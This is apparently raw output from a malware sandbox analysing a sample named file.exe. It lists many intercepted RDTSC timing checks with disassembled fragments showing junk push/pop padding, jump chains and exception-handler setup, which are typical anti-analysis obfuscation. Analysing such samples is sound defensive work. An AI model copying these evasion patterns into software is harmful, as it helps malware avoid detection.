Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9C06F second address: B9C09A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FF018BAC396h 0x00000009 jmp 00007FF018BAC39Bh 0x0000000e jmp 00007FF018BAC3A5h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9C09A second address: B9C0A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E6B7 second address: B3E6BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E6BB second address: B3E6BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E6BF second address: B3E6CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 ja 00007FF018BAC396h 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E6CF second address: B3E6F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87198h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E6F0 second address: B3E6F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B28DC0 second address: B28DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018B8718Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1517 second address: BA1521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF018BAC396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1521 second address: BA1559 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87199h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d jmp 00007FF018B87191h 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1559 second address: BA1567 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FF018BAC396h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA19D5 second address: BA19FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF018B87186h 0x0000000a jc 00007FF018B87186h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 jmp 00007FF018B87194h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA19FC second address: BA1A01 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA53B2 second address: BA53B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75194 second address: B7519A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75266 second address: B7526A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7526A second address: B7526E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7531C second address: B75320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75320 second address: B75324 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75324 second address: B7532A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7532A second address: B75330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75330 second address: B75334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B753E1 second address: B753E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7562D second address: B75632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75632 second address: B75638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75BEF second address: B75BF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75BF3 second address: B75C07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jc 00007FF018BAC396h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75ECF second address: B75ED4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75ED4 second address: B75EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B87E0E second address: B87ED3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF018B8719Dh 0x00000008 jmp 00007FF018B87197h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jc 00007FF018B8719Ch 0x00000016 ja 00007FF018B87196h 0x0000001c nop 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007FF018B87188h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 jmp 00007FF018B8718Ah 0x0000003c push dword ptr fs:[00000000h] 0x00000043 push edx 0x00000044 mov edi, dword ptr [ebp+122D2E7Eh] 0x0000004a pop ebx 0x0000004b mov dword ptr fs:[00000000h], esp 0x00000052 mov dword ptr [ebp+1245CBA8h], eax 0x00000058 mov eax, dword ptr [ebp+122D125Dh] 0x0000005e mov edi, ecx 0x00000060 mov bx, si 0x00000063 push FFFFFFFFh 0x00000065 push 00000000h 0x00000067 push eax 0x00000068 call 00007FF018B87188h 0x0000006d pop eax 0x0000006e mov dword ptr [esp+04h], eax 0x00000072 add dword ptr [esp+04h], 0000001Dh 0x0000007a inc eax 0x0000007b push eax 0x0000007c ret 0x0000007d pop eax 0x0000007e ret 0x0000007f mov ebx, 1AFE0125h 0x00000084 push eax 0x00000085 push eax 0x00000086 push edx 0x00000087 push edi 0x00000088 push eax 0x00000089 push edx 0x0000008a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B87ED3 second address: B87ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8AFE3 second address: B8AFE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8AFE7 second address: B8AFEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8CFC5 second address: B8CFCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA5A2E second address: BA5A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA5A32 second address: BA5A36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA5BA2 second address: BA5BBC instructions: 0x00000000 rdtsc 0x00000002 js 00007FF018BAC396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FF018BAC39Ah 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA5BBC second address: BA5BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA5D55 second address: BA5D5B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA5D5B second address: BA5D93 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF018B8719Ah 0x00000008 jmp 00007FF018B87194h 0x0000000d jmp 00007FF018B87193h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 pop esi 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BABAAC second address: BABABC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FF018BAC39Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2A71A second address: B2A720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2A720 second address: B2A725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2A725 second address: B2A72F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA7BE second address: BAA7CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA7CA second address: BAA7DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B8718Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA7DC second address: BAA7FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 jo 00007FF018BAC3A2h 0x0000000e jng 00007FF018BAC396h 0x00000014 jp 00007FF018BAC396h 0x0000001a pushad 0x0000001b jl 00007FF018BAC396h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA7FF second address: BAA808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA808 second address: BAA80E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA80E second address: BAA812 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA812 second address: BAA823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FF018BAC396h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA9A4 second address: BAA9B4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FF018B8718Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA9B4 second address: BAA9CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF018BAC3A0h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA9CF second address: BAA9E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87191h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA9E4 second address: BAA9F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018BAC39Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAB221 second address: BAB227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAB227 second address: BAB22C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAB7EA second address: BAB7F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF018B87186h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B34790 second address: B3479C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF018BAC396h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3479C second address: B347A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B347A2 second address: B347A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B347A6 second address: B347D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87197h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF018B87190h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB00E7 second address: BB0104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FF018BAC3A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB0104 second address: BB010A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB0703 second address: BB0710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jc 00007FF018BAC39Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB0710 second address: BB0714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB08B6 second address: BB08BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB0A4B second address: BB0A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FF018B87186h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edi 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB0A5E second address: BB0A6B instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF018BAC396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB0BBE second address: BB0BC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB0BC3 second address: BB0BD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FF018BAC39Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37D19 second address: B37D58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87198h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jp 00007FF018B87199h 0x00000011 jmp 00007FF018B87193h 0x00000016 jl 00007FF018B8718Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBAE0E second address: BBAE13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBAE13 second address: BBAE2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF018B87190h 0x00000008 jc 00007FF018B87186h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBD853 second address: BBD857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBD857 second address: BBD864 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF018B87186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBD864 second address: BBD874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 jc 00007FF018BAC3C2h 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF653 second address: BBF658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF658 second address: BBF67B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FF018BAC39Bh 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF018BAC39Bh 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF67B second address: BBF685 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF018B87186h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC5ED7 second address: BC5EEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC39Fh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC483E second address: BC485C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018B87197h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC485C second address: BC4876 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018BAC3A6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC4876 second address: BC487A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC487A second address: BC48CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018BAC3A6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jnp 00007FF018BAC398h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FF018BAC3A0h 0x0000001d jmp 00007FF018BAC3A9h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC4A6B second address: BC4A81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87191h 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC4A81 second address: BC4AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b jnc 00007FF018BAC396h 0x00000011 pop edx 0x00000012 jmp 00007FF018BAC3A6h 0x00000017 pushad 0x00000018 push esi 0x00000019 pop esi 0x0000001a js 00007FF018BAC396h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC4C0A second address: BC4C22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF018B87186h 0x0000000a jl 00007FF018B87188h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC4C22 second address: BC4C28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC4EE5 second address: BC4F03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FF018B87197h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75987 second address: B7598C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7598C second address: B75992 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75992 second address: B75996 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC50A5 second address: BC50A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC50A9 second address: BC50B3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF018BAC396h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC50B3 second address: BC50B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC50B9 second address: BC50BE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8DCC second address: BC8DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF018B87186h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC87DB second address: BC87EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007FF018BAC396h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC87EA second address: BC8809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF018B87186h 0x0000000a popad 0x0000000b jmp 00007FF018B87191h 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
